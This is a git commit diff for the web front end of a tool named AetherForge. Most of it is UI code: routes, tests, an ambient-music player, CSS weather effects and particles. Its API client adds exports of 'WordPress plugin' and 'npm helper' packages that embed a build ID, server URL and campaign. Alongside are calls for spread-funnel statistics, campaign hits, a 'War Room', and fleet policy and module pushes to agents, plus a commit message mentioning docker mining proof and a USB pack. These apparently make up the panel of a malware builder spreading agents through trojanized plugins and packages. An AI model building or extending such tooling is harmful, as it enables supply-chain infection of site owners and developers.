feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -31,9 +31,9 @@ vi.mock('./components/Layout/Layout', () => ({
vi.mock('./pages/DashboardPage', () => ({ default: () => <div>Dashboard Page</div> }));
vi.mock('./pages/AgentsPage', () => ({ default: () => <div>Agents Page</div> }));
vi.mock('./pages/BuilderPage', () => ({ default: () => <div>Forge Page</div> }));
vi.mock('./pages/MissionDeckPage', () => ({ default: () => <div>Mission Deck Page</div> }));
vi.mock('./pages/BuildManagerPage', () => ({ default: () => <div>Builds Page</div> }));
vi.mock('./pages/SettingsPage', () => ({ default: () => <div>Settings Page</div> }));
vi.mock('./pages/GuidePage', () => ({ default: () => <div>Guide Page</div> }));
vi.mock('./pages/CruciblePage', () => ({ default: () => <div>Crucible Page</div> }));
describe('PageFallback', () => {
@@ -73,4 +73,15 @@ describe('App route config', () => {
expect(await screen.findByText('Crucible Page')).toBeTruthy();
expect(screen.getByTestId('layout')).toBeTruthy();
});
it('renders mission-deck route via App shell', async () => {
const { unmount } = render(
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
<App />
</MemoryRouter>
);
expect(await screen.findByText('Mission Deck Page')).toBeTruthy();
expect(screen.getAllByTestId('layout').length).toBeGreaterThan(0);
unmount();
});
});

View File

@@ -3,6 +3,7 @@ import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
import { PresenceProvider } from './context/PresenceContext';
import { SoundProvider } from './context/SoundContext';
import { AmbientMusicProvider } from './context/AmbientMusicContext';
import { VisualEffectsProvider } from './context/VisualEffectsContext';
@@ -14,9 +15,9 @@ import GlobalMusicPlayer from './components/GlobalMusicPlayer';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
@@ -34,6 +35,7 @@ function App() {
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<PresenceProvider>
<SoundProvider>
<AmbientMusicProvider>
<VisualEffectsProvider>
@@ -50,11 +52,11 @@ function App() {
<Route path="/agents" element={<AgentsPage />} />
<Route path="/forge" element={<BuilderPage />} />
<Route path="/builder" element={<Navigate to="/forge" replace />} />
<Route path="/mission-deck" element={<MissionDeckPage />} />
<Route path="/crucible" element={<CruciblePage />} />
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/emberwake" element={<EmberwakePage />} />
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
<Route path="/guide" element={<GuidePage />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
</Routes>
@@ -66,6 +68,7 @@ function App() {
</VisualEffectsProvider>
</AmbientMusicProvider>
</SoundProvider>
</PresenceProvider>
</WebSocketProvider>
);
}

View File

@@ -58,6 +58,20 @@ export function getStoredAuth(): string | null {
return readAuthStorage();
}
/** Username from stored Basic auth token (before the colon). */
export function getStoredUsername(): string | null {
const token = getStoredAuth();
if (!token) return null;
try {
const decoded = atob(token);
const idx = decoded.indexOf(':');
if (idx <= 0) return null;
return decoded.slice(0, idx);
} catch {
return null;
}
}
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = encodeBasicToken(username, password);
writeAuthStorage(token);

View File

@@ -302,6 +302,21 @@ export const api = {
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
policy: Record<string, unknown>;
}) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', {
method: 'PUT',
body: JSON.stringify(body),
}),
pushFleetModule: (body: { agent_ids: string[]; module: string }) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>(
'/fleet/modules/push',
{ method: 'POST', body: JSON.stringify(body) },
),
// Public builds (unauthenticated — used on login page)
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
const res = await fetch(`${API_BASE}/public/builds`);
@@ -318,6 +333,8 @@ export const api = {
}),
listCampaignHits: () =>
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
getWarRoom: (days = 7) =>
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
@@ -336,6 +353,47 @@ export const api = {
URL.revokeObjectURL(url);
},
exportWordPressPlugin: async (req: {
build_id: string;
server_url: string;
campaign: string;
site_name: string;
}) => {
const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-wordpress-plugin.zip`;
a.click();
URL.revokeObjectURL(url);
},
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/npm-helper-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-npm-helper.zip`;
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -9,6 +9,7 @@ import {
BGM_STORAGE_KEY,
BGM_VOLUME_KEY,
AMBIENT_MUSIC_SRC,
MODAL_AMBIENT_DUCK_FACTOR,
} from './ambientMusic';
describe('ambientMusic prefs', () => {
@@ -40,4 +41,15 @@ describe('ambientMusic prefs', () => {
it('points at public audio path', () => {
expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
});
it('ducks effective volume 30% while modal registered', () => {
const p = new AmbientMusicPlayer();
p.setVolume(1);
p.setPageIntensity(0.8);
const base = p.getEffectiveVolume();
const unregister = p.registerModalDuck();
expect(p.getEffectiveVolume()).toBeCloseTo(base * MODAL_AMBIENT_DUCK_FACTOR);
unregister();
expect(p.isModalDuckActive()).toBe(true);
});
});

View File

@@ -7,6 +7,36 @@ export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
/** Route → playback multiplier (01). User volume × intensity = effective output. */
export const PAGE_AMBIENT_INTENSITY: Record<string, number> = {
'/forge': 1,
'/builder': 1,
'/mission-deck': 0.95,
'/emberwake': 0.8,
'/spread': 0.8,
'/crucible': 0.75,
'/agents': 0.7,
'/dashboard': 0.65,
'/builds': 0.55,
'/pathtracer': 0.4,
'/settings': 0.25,
};
/** Multiply page intensity by this when a modal/wizard is open (30% duck). */
export const MODAL_AMBIENT_DUCK_FACTOR = 0.7;
export const MODAL_AMBIENT_SWELL_MS = 400;
export function resolvePageAmbientIntensity(pathname: string): number {
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
if (PAGE_AMBIENT_INTENSITY[path] !== undefined) {
return PAGE_AMBIENT_INTENSITY[path];
}
for (const [prefix, intensity] of Object.entries(PAGE_AMBIENT_INTENSITY)) {
if (prefix !== '/' && path.startsWith(prefix)) return intensity;
}
return 0.65;
}
export function loadBgmEnabled(): boolean {
try {
const v = localStorage.getItem(BGM_STORAGE_KEY);
@@ -47,6 +77,11 @@ export class AmbientMusicPlayer {
private audio: HTMLAudioElement | null = null;
private enabled = loadBgmEnabled();
private volume = loadBgmVolume();
private pageIntensity = 1;
private modalDuckRegistrations = 0;
/** 0 = full duck, 1 = no duck — animated on swell. */
private duckBlend = 1;
private swellFrame: number | null = null;
private unlocked = false;
private playing = false;
private listeners = new Set<(playing: boolean) => void>();
@@ -63,6 +98,82 @@ export class AmbientMusicPlayer {
return this.volume;
}
getPageIntensity() {
return this.pageIntensity;
}
getEffectiveVolume() {
return this.volume * this.pageIntensity * this.getDuckMultiplier();
}
isModalDuckActive() {
return this.modalDuckRegistrations > 0 || this.duckBlend < 1;
}
private getDuckMultiplier() {
return MODAL_AMBIENT_DUCK_FACTOR + this.duckBlend * (1 - MODAL_AMBIENT_DUCK_FACTOR);
}
/** Register an open modal/wizard; returns unregister (runs swell when last closes). */
registerModalDuck(): () => void {
this.cancelSwell();
this.modalDuckRegistrations += 1;
if (this.modalDuckRegistrations === 1) {
this.duckBlend = 0;
this.applyVolume();
}
return () => {
this.modalDuckRegistrations = Math.max(0, this.modalDuckRegistrations - 1);
if (this.modalDuckRegistrations === 0) {
this.startSwell();
}
};
}
private cancelSwell() {
if (this.swellFrame !== null && typeof cancelAnimationFrame !== 'undefined') {
cancelAnimationFrame(this.swellFrame);
this.swellFrame = null;
}
}
private startSwell() {
this.cancelSwell();
const startBlend = this.duckBlend;
const startTime = typeof performance !== 'undefined' ? performance.now() : 0;
const duration = MODAL_AMBIENT_SWELL_MS;
const tick = (now: number) => {
const t = Math.min(1, (now - startTime) / duration);
const eased = 1 - (1 - t) * (1 - t);
this.duckBlend = startBlend + (1 - startBlend) * eased;
this.applyVolume();
if (t < 1 && typeof requestAnimationFrame !== 'undefined') {
this.swellFrame = requestAnimationFrame(tick);
} else {
this.duckBlend = 1;
this.swellFrame = null;
this.applyVolume();
}
};
if (typeof requestAnimationFrame !== 'undefined') {
this.swellFrame = requestAnimationFrame(tick);
} else {
this.duckBlend = 1;
this.applyVolume();
}
}
setPageIntensity(intensity: number) {
this.pageIntensity = Math.min(1, Math.max(0, intensity));
this.applyVolume();
}
private applyVolume() {
if (this.audio) this.audio.volume = this.getEffectiveVolume();
}
subscribe(fn: (playing: boolean) => void) {
this.listeners.add(fn);
return () => { this.listeners.delete(fn); };
@@ -88,7 +199,7 @@ export class AmbientMusicPlayer {
setVolume(volume: number) {
this.volume = Math.min(1, Math.max(0, volume));
persistBgmVolume(this.volume);
if (this.audio) this.audio.volume = this.volume;
this.applyVolume();
}
/** Browsers block autoplay until a user gesture unlocks audio. */
@@ -116,7 +227,7 @@ export class AmbientMusicPlayer {
const el = new Audio(AMBIENT_MUSIC_SRC);
el.loop = true;
el.preload = 'auto';
el.volume = this.volume;
el.volume = this.getEffectiveVolume();
el.addEventListener('play', () => this.setPlaying(true));
el.addEventListener('pause', () => this.setPlaying(false));
el.addEventListener('ended', () => this.setPlaying(false));
@@ -136,7 +247,7 @@ export class AmbientMusicPlayer {
if (!this.enabled) return false;
this.ensureAudio();
if (!this.audio) return false;
this.audio.volume = this.volume;
this.applyVolume();
try {
await this.audio.play();
this.setPlaying(true);

View File

@@ -4,6 +4,11 @@
z-index: 0;
pointer-events: none;
overflow: hidden;
--weather-intensity: 0.65;
--weather-layer-opacity: 0.55;
--weather-grid-drift: 48s;
--weather-orb-drift: 14s;
--weather-sacred-opacity: 0.07;
}
.ambient-grid {
@@ -15,10 +20,10 @@
linear-gradient(rgba(0, 245, 255, 0.02) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 245, 255, 0.02) 1px, transparent 1px);
background-size: 80px 80px, 80px 80px, 20px 20px, 20px 20px;
animation: grid-drift 40s linear infinite;
animation: grid-drift var(--weather-grid-drift) linear infinite;
transform: perspective(500px) rotateX(60deg) scale(2);
transform-origin: center top;
opacity: 0.6;
opacity: var(--weather-layer-opacity);
}
.ambient-vignette {
@@ -31,7 +36,8 @@
position: absolute;
border-radius: 50%;
filter: blur(80px);
animation: float-orb 12s ease-in-out infinite;
animation: float-orb var(--weather-orb-drift) ease-in-out infinite;
opacity: calc(0.35 + var(--weather-intensity) * 0.65);
}
.ambient-orb-cyan {
@@ -111,7 +117,7 @@
transform: translateY(-50%);
width: min(38vw, 680px);
height: min(38vw, 680px);
opacity: 0.07;
opacity: var(--weather-sacred-opacity);
animation: sacred-geo-rotate 120s linear infinite;
pointer-events: none;
filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3));
@@ -121,3 +127,78 @@
from { transform: translateY(-50%) rotate(0deg); }
to { transform: translateY(-50%) rotate(360deg); }
}
/* ── Page weather vibes ───────────────────────────────────────────────────── */
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-cyan {
background: rgba(212, 175, 55, 0.14);
}
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-magenta {
background: rgba(232, 93, 74, 0.1);
}
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-amber {
background: rgba(255, 140, 58, 0.12);
}
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-scanline {
opacity: 0.25;
}
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-cyan {
background: rgba(255, 95, 25, 0.14);
}
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-magenta {
background: rgba(255, 55, 90, 0.1);
}
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-amber {
background: rgba(255, 176, 32, 0.14);
}
.ambient-energy-pulse {
position: absolute;
inset: 0;
z-index: 0;
pointer-events: none;
background: radial-gradient(
ellipse 70% 55% at 50% 45%,
rgba(255, 95, 25, 0.12) 0%,
transparent 70%
);
animation: ambient-energy-beat 3.2s ease-in-out infinite;
mix-blend-mode: screen;
}
@keyframes ambient-energy-beat {
0%,
100% {
opacity: 0.25;
transform: scale(1);
}
50% {
opacity: 0.85;
transform: scale(1.04);
}
}
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-grid {
opacity: calc(var(--weather-layer-opacity) * 0.45);
animation-duration: calc(var(--weather-grid-drift) * 1.5);
}
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-orb {
filter: blur(100px);
opacity: calc(var(--weather-intensity) * 0.5);
}
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-gear,
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-scanline {
opacity: 0.15;
}
.ambient-bg[data-weather-vibe='forge-glow'] .ambient-grid {
opacity: calc(var(--weather-layer-opacity) * 1.05);
}
.ambient-bg[data-weather-vibe='forge-glow'] .ambient-orb {
opacity: calc(0.5 + var(--weather-intensity) * 0.5);
}
.ambient-bg[data-weather-vibe='medium-drift'] .ambient-orb {
opacity: calc(0.4 + var(--weather-intensity) * 0.55);
}

View File

@@ -1,4 +1,6 @@
import { CSSProperties } from 'react';
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
import { DEFAULT_PAGE_WEATHER, type PageWeatherConfig } from '../../help/pageWeather';
import GlowParticles from './GlowParticles';
import './AmbientBackground.css';
@@ -7,15 +9,33 @@ function SacredGeometry() {
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
}
export default function AmbientBackground() {
interface AmbientBackgroundProps {
weather?: PageWeatherConfig;
}
export default function AmbientBackground({ weather = DEFAULT_PAGE_WEATHER }: AmbientBackgroundProps) {
const style = {
'--weather-intensity': weather.intensity,
'--weather-layer-opacity': weather.layerOpacity,
'--weather-grid-drift': `${weather.gridDrift}s`,
'--weather-orb-drift': `${weather.orbDrift}s`,
'--weather-sacred-opacity': Math.max(0.04, weather.layerOpacity * 0.12),
} as CSSProperties;
return (
<div className="ambient-bg" aria-hidden>
<div
className="ambient-bg"
data-weather-vibe={weather.vibe}
style={style}
aria-hidden
>
<div className="ambient-grid" />
<GlowParticles />
<GlowParticles weather={weather} />
<div className="ambient-vignette" />
<div className="ambient-orb ambient-orb-cyan" />
<div className="ambient-orb ambient-orb-magenta" />
<div className="ambient-orb ambient-orb-amber" />
{weather.energyPulse && <div className="ambient-energy-pulse" />}
<div className="ambient-scanline" />
<div className="ambient-gear ambient-gear-1" />
<div className="ambient-gear ambient-gear-2" />
@@ -26,7 +46,6 @@ export default function AmbientBackground() {
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
<SacredMotif name="hex" opacity={0.6} />
</div>
{/* Sacred geometry watermark — centre of the main content area */}
<SacredGeometry />
</div>
);

View File

@@ -5,8 +5,8 @@
height: 100%;
z-index: 1;
pointer-events: none;
opacity: 0.92;
mix-blend-mode: screen;
transition: opacity 0.6s ease;
}
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
@@ -103,6 +103,38 @@
}
}
.ambient-css-sparkles[data-weather-vibe='starfield-dim'] .ambient-sparkle {
color: rgba(200, 210, 240, 0.5);
animation-duration: 7s;
box-shadow:
0 0 4px 1px currentColor,
0 0 10px 2px currentColor;
}
.ambient-css-sparkles[data-weather-vibe='crucible-embers'] .ambient-sparkle {
animation-duration: 6.5s;
}
.ambient-css-sparkles[data-weather-vibe='emberwake-pulse'] .ambient-sparkle {
animation: ambient-sparkle-campaign 2.8s ease-in-out infinite;
}
@keyframes ambient-sparkle-campaign {
0%,
100% {
transform: scale(0.5);
opacity: 0.2;
}
45% {
transform: scale(1.6);
opacity: 1;
}
55% {
transform: scale(1.2);
opacity: 0.7;
}
}
@media (prefers-reduced-motion: reduce) {
.ambient-glow-canvas {
opacity: 0.5;

View File

@@ -1,15 +1,14 @@
import { useEffect, useRef } from 'react';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import { useVisualEffects } from '../../context/VisualEffectsContext';
import {
DEFAULT_PAGE_WEATHER,
WEATHER_PALETTES,
type GlowColor,
type PageWeatherConfig,
} from '../../help/pageWeather';
import './GlowParticles.css';
const PALETTE = [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
] as const;
type Particle = {
x: number;
y: number;
@@ -18,28 +17,41 @@ type Particle = {
r: number;
pulse: number;
pulseSpeed: number;
color: (typeof PALETTE)[number];
color: GlowColor;
};
function particleCount(mobile: boolean): number {
function particleCount(mobile: boolean, density: number): number {
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
if (cores <= 2) return mobile ? 18 : 28;
if (mobile) return 32;
return cores >= 8 ? 64 : 48;
let base: number;
if (cores <= 2) base = mobile ? 18 : 28;
else if (mobile) base = 32;
else base = cores >= 8 ? 64 : 48;
return Math.max(8, Math.round(base * density));
}
function initParticles(w: number, h: number, n: number): Particle[] {
function initParticles(
w: number,
h: number,
n: number,
palette: readonly GlowColor[],
speed: number,
pulse: number,
vibe: PageWeatherConfig['vibe'],
): Particle[] {
const out: Particle[] = [];
const speedScale = 0.35 * speed;
const riseBias = vibe === 'crucible-embers' ? -0.08 * speed : 0;
for (let i = 0; i < n; i++) {
out.push({
x: Math.random() * w,
y: Math.random() * h,
vx: (Math.random() - 0.5) * 0.35,
vy: (Math.random() - 0.5) * 0.35,
vx: (Math.random() - 0.5) * speedScale,
vy: (Math.random() - 0.5) * speedScale + riseBias,
r: 1.2 + Math.random() * 2.2,
pulse: Math.random() * Math.PI * 2,
pulseSpeed: 0.008 + Math.random() * 0.012,
color: PALETTE[i % PALETTE.length],
pulseSpeed: (0.008 + Math.random() * 0.012) * pulse,
color: palette[i % palette.length],
});
}
return out;
@@ -60,13 +72,18 @@ function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
ctx.restore();
}
interface GlowParticlesProps {
weather?: PageWeatherConfig;
}
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
export default function GlowParticles() {
export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowParticlesProps) {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particlesRef = useRef<Particle[]>([]);
const rafRef = useRef(0);
const isMobile = useIsMobileLayout();
const { glowParticles } = useVisualEffects();
const palette = WEATHER_PALETTES[weather.palette];
useEffect(() => {
if (!glowParticles) return;
@@ -77,8 +94,11 @@ export default function GlowParticles() {
const ctx = canvas.getContext('2d');
if (!ctx) return;
const linkDist = isMobile ? 90 : 130;
const baseLinkDist = isMobile ? 90 : 130;
const linkDist = baseLinkDist * (0.5 + weather.linkStrength * 0.5);
const linkDistSq = linkDist * linkDist;
const linkAlpha = 0.35 * weather.linkStrength * weather.intensity;
const glowAlphaBase = 0.55 * weather.intensity;
const resize = () => {
const dpr = Math.min(window.devicePixelRatio || 1, 2);
@@ -89,7 +109,15 @@ export default function GlowParticles() {
canvas.style.width = `${w}px`;
canvas.style.height = `${h}px`;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
particlesRef.current = initParticles(w, h, particleCount(isMobile));
particlesRef.current = initParticles(
w,
h,
particleCount(isMobile, weather.density),
palette,
weather.speed,
weather.pulse,
weather.vibe,
);
};
resize();
@@ -105,6 +133,10 @@ export default function GlowParticles() {
const h = canvas.clientHeight;
ctx.clearRect(0, 0, w, h);
const energyMod = weather.energyPulse
? 0.62 + Math.sin(Date.now() * 0.0022) * 0.38
: 1;
const pts = particlesRef.current;
if (!reducedMotion) {
for (const p of pts) {
@@ -126,7 +158,7 @@ export default function GlowParticles() {
if (d2 < linkDistSq) {
const t = 1 - Math.sqrt(d2) / linkDist;
ctx.strokeStyle = pts[i].color.line;
ctx.globalAlpha = t * 0.35;
ctx.globalAlpha = t * linkAlpha * energyMod;
ctx.lineWidth = 0.6;
ctx.beginPath();
ctx.moveTo(pts[i].x, pts[i].y);
@@ -138,7 +170,9 @@ export default function GlowParticles() {
ctx.globalAlpha = 1;
for (const p of pts) {
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
const twinkle = reducedMotion
? 0.75 * glowAlphaBase
: (0.55 + Math.sin(p.pulse) * 0.25) * glowAlphaBase * energyMod;
drawGlow(ctx, p, twinkle);
}
@@ -151,15 +185,26 @@ export default function GlowParticles() {
window.removeEventListener('resize', resize);
cancelAnimationFrame(rafRef.current);
};
}, [glowParticles, isMobile]);
}, [glowParticles, isMobile, weather, palette]);
if (!glowParticles) return null;
const sparkleCount = Math.max(
4,
Math.round((isMobile ? 6 : 10) * weather.density * (0.5 + weather.intensity * 0.5)),
);
return (
<>
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
<div className="ambient-css-sparkles" aria-hidden>
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
<canvas
ref={canvasRef}
className="ambient-glow-canvas"
data-weather-vibe={weather.vibe}
style={{ opacity: 0.35 + weather.intensity * 0.57 }}
aria-hidden
/>
<div className="ambient-css-sparkles" data-weather-vibe={weather.vibe} aria-hidden>
{Array.from({ length: sparkleCount }, (_, i) => (
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
))}
</div>

View File

@@ -0,0 +1,135 @@
.docs-entry-card {
position: relative;
display: flex;
align-items: center;
gap: 0.85rem;
padding: 0.85rem 1rem;
text-decoration: none;
color: inherit;
border-radius: 6px;
border: 1px solid rgba(0, 232, 245, 0.35);
background: linear-gradient(135deg, rgba(6, 18, 24, 0.92) 0%, rgba(12, 8, 20, 0.88) 100%);
overflow: hidden;
transition: border-color 0.2s, box-shadow 0.2s, transform 0.15s;
}
.docs-entry-card:hover,
.docs-entry-card:focus-visible {
border-color: rgba(0, 232, 245, 0.7);
box-shadow:
0 0 24px rgba(0, 232, 245, 0.18),
0 0 48px rgba(168, 62, 240, 0.08);
transform: translateY(-1px);
outline: none;
}
.docs-entry-card-glow {
position: absolute;
inset: -40%;
background: radial-gradient(circle at 30% 50%, rgba(0, 232, 245, 0.14), transparent 55%);
pointer-events: none;
animation: docs-card-pulse 4s ease-in-out infinite;
}
@keyframes docs-card-pulse {
0%,
100% {
opacity: 0.55;
}
50% {
opacity: 1;
}
}
.docs-entry-card-icon {
position: relative;
z-index: 1;
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
width: 2.5rem;
height: 2.5rem;
border-radius: 6px;
color: var(--neon-cyan);
background: rgba(0, 232, 245, 0.08);
border: 1px solid rgba(0, 232, 245, 0.35);
box-shadow: 0 0 16px rgba(0, 232, 245, 0.2);
}
.docs-entry-card-icon svg {
width: 1.35rem;
height: 1.35rem;
}
.docs-entry-card-body {
position: relative;
z-index: 1;
display: flex;
flex-direction: column;
gap: 0.15rem;
min-width: 0;
flex: 1;
}
.docs-entry-card-title {
font-size: 0.78rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: var(--neon-cyan);
text-shadow: 0 0 12px rgba(0, 232, 245, 0.35);
}
.docs-entry-card-blurb {
font-size: 0.78rem;
line-height: 1.35;
color: var(--text-secondary);
}
.docs-entry-card-arrow {
position: relative;
z-index: 1;
flex-shrink: 0;
font-size: 1.1rem;
color: var(--neon-amber);
transition: transform 0.15s, color 0.15s;
}
.docs-entry-card:hover .docs-entry-card-arrow,
.docs-entry-card:focus-visible .docs-entry-card-arrow {
transform: translateX(3px);
color: var(--neon-cyan);
}
.docs-entry-card--featured {
width: 100%;
margin-top: 1rem;
padding: 1rem 1.1rem;
}
.docs-entry-card--featured .docs-entry-card-icon {
width: 2.75rem;
height: 2.75rem;
}
.docs-entry-card--featured .docs-entry-card-title {
font-size: 0.82rem;
}
.docs-entry-card--compact {
padding: 0.55rem 0.75rem;
gap: 0.6rem;
}
.docs-entry-card--compact .docs-entry-card-icon {
width: 2rem;
height: 2rem;
}
.docs-entry-card--compact .docs-entry-card-blurb {
display: none;
}
.docs-entry-card--compact .docs-entry-card-title {
font-size: 0.72rem;
}

View File

@@ -0,0 +1,42 @@
import './DocsEntryCard.css';
interface DocsEntryCardProps {
/** compact = inline row; featured = login-page hero card */
variant?: 'compact' | 'featured';
className?: string;
}
function DocsIcon() {
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" aria-hidden>
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
<path d="M8 7h8M8 11h8M8 15h5" strokeOpacity="0.65" />
</svg>
);
}
export default function DocsEntryCard({ variant = 'featured', className = '' }: DocsEntryCardProps) {
return (
<a
href="/docs/"
target="_blank"
rel="noopener noreferrer"
className={`docs-entry-card docs-entry-card--${variant}${className ? ` ${className}` : ''}`}
>
<span className="docs-entry-card-glow" aria-hidden />
<span className="docs-entry-card-icon">
<DocsIcon />
</span>
<span className="docs-entry-card-body">
<strong className="docs-entry-card-title font-tech">Documentation</strong>
<span className="docs-entry-card-blurb">
Searchable wiki Forge, Spread, Fleet, API &amp; troubleshooting
</span>
</span>
<span className="docs-entry-card-arrow" aria-hidden>
</span>
</a>
);
}

View File

@@ -0,0 +1,85 @@
import { useEffect, useMemo, useState } from 'react';
import {
deploymentReelActiveIndex,
deploymentReelSteps,
deploymentReelStepStatus,
deploymentReelTotalDurationMs,
deploymentReelVisibleCount,
type SupplyChainFamily,
} from '../../help/supplyChainExport';
export interface DeploymentReelProps {
family: SupplyChainFamily;
/** When false, all steps render as completed (no animation). */
animate?: boolean;
onComplete?: () => void;
}
export default function DeploymentReel({ family, animate = true, onComplete }: DeploymentReelProps) {
const steps = useMemo(() => deploymentReelSteps(family), [family]);
const totalMs = deploymentReelTotalDurationMs(steps.length);
const [elapsedMs, setElapsedMs] = useState(animate ? 0 : totalMs);
useEffect(() => {
if (!animate) {
setElapsedMs(totalMs);
return;
}
setElapsedMs(0);
const start = performance.now();
let frame = 0;
const tick = (now: number) => {
const next = now - start;
setElapsedMs(next);
if (next < totalMs) {
frame = requestAnimationFrame(tick);
} else {
onComplete?.();
}
};
frame = requestAnimationFrame(tick);
return () => cancelAnimationFrame(frame);
}, [animate, family, totalMs, onComplete]);
const visibleCount = deploymentReelVisibleCount(elapsedMs, steps.length);
const activeIndex = deploymentReelActiveIndex(visibleCount, steps.length);
const allDone = visibleCount >= steps.length;
return (
<div
className={`supply-chain-deployment-reel${allDone ? ' supply-chain-deployment-reel--complete' : ''}`}
